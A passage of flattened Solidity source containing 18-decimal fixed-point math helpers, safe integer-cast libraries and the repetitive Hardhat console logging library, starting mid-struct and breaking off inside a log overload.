ink; // Collateral amount } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WMul { // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Multiply an amount by a fixed point factor with 18 decimals, rounds down. function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * y; unchecked { z /= 1e18; } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WMulUp { // Fixed point arithmetic in 18 decimal units // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Multiply x and y, with y being fixed point. If both are integers, the result is a fixed point factor. Rounds up. function wmulup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * y + 1e18 - 1; // Rounds up. So (again imagining 2 decimal places): unchecked { z /= 1e18; } // 383 (3.83) * 235 (2.35) -> 90005 (9.0005), + 99 (0.0099) -> 90104, / 100 -> 901 (9.01). } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WDiv { // Fixed point arithmetic in 18 decimal units // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Divide an amount by a fixed point factor with 18 decimals function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = (x * 1e18) / y; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WDivUp { // Fixed point arithmetic in 18 decimal units // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Divide x and y, with y being fixed point. If both are integers, the result is a fixed point factor. Rounds up. function wdivup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * 1e18 + y; // 101 (1.01) / 1000 (10) -> (101 * 100 + 1000 - 1) / 1000 -> 11 (0.11 = 0.101 rounded up). unchecked { z -= 1; } // Can do unchecked subtraction since division in next line will catch y = 0 case anyway z /= y; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU256U128 { /// @dev Safely cast an uint256 to an uint128 function u128(uint256 x) internal pure returns (uint128 y) { require (x <= type(uint128).max, "Cast overflow"); y = uint128(x); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU256U32 { /// @dev Safely cast an uint256 to an u32 function u32(uint256 x) internal pure returns (uint32 y) { require (x <= type(uint32).max, "Cast overflow"); y = uint32(x); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { 